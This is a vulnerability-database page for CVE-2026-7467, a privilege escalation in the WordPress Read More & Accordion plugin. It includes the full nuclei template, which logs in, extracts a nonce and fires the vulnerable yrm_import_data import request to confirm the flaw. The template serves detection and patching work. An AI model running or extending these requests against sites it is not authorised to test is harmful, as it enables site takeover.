HexBrain

Browse / CVEs / CVE-2026-7467

CVE-2026-7467· radmore / expand-maker· CWE-269

Read More & Accordion <= 3.5.7 - Authenticated Privilege Escalation

highseverity
8.8CVSS score
1.3%likelihood of exploitation, next 30 days
71%of all CVEs are less likely
Readycheck to confirm it

The Read More & Accordion (expand-maker) plugin for WordPress through 3.5.7 allows privilege escalation due to improper validation in the importData AJAX handler (yrm_import_data action). An authenticated user with plugin access can upload a crafted JSON attachment to insert arbitrary rows into WordPress database tables, including those that control user roles and capabilities, potentially leading to site takeover.

Impact

Authenticated attackers can insert arbitrary rows into any WordPress database table, allowing creation of a new administrator account and full takeover of the site.

Fix

Update to the latest version of the Read More & Accordion (expand-maker) plugin.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=readMore ; POST /wp-admin/admin-ajax.php
Positive when: contains in body_2 "yrmBackendData" OR contains in body_3 "\"success\":true" and "Data import successful"

Run it with nuclei: nuclei -id CVE-2026-7467 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2026-7467

info:
  name: Read More & Accordion <= 3.5.7 - Authenticated Privilege Escalation
  author: zer0p0int
  severity: high
  description: |
    The Read More & Accordion (expand-maker) plugin for WordPress through 3.5.7 allows privilege escalation due to improper validation in the importData AJAX handler (yrm_import_data action). An authenticated user with plugin access can upload a crafted JSON attachment to insert arbitrary rows into WordPress database tables, including those that control user roles and capabilities, potentially leading to site takeover.
  impact: |
    Authenticated attackers can insert arbitrary rows into any WordPress database table, allowing creation of a new administrator account and full takeover of the site.
  remediation: |
    Update to the latest version of the Read More & Accordion (expand-maker) plugin.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/adf51c03-b0bb-4864-b64d-6b0cba4b0130
    - https://wordpress.org/plugins/expand-maker/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-7467
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2026-7467
    epss-score: 0.01313
    epss-percentile: 0.7094
    cwe-id: CWE-269
  metadata:
    verified: false
    max-request: 4
    vendor: radmore
    product: expand-maker
    framework: wordpress
    publicwww-query: "/wp-content/plugins/expand-maker/"
  tags: cve,cve2026,wp,wordpress,wp-plugin,privilege-escalation,ssrf,authenticated,vkev

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=%2F&testcookie=1

      - |
        GET /wp-admin/admin.php?page=readMore HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=yrm_import_data&ajaxNonce={{yrm_nonce}}&attachmentUrl={{BaseURL}}/wp-json/

    matchers:
      - type: word
        part: body_2
        words:
          - "yrmBackendData"

      - type: word
        part: body_3
        words:
          - '"success":true'
          - "Data import successful"
        condition: and

    extractors:
      - type: regex
        name: yrm_nonce
        group: 1
        part: body_2
        regex:
          - 'yrmBackendData = \{"nonce":"([a-f0-9]+)"'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from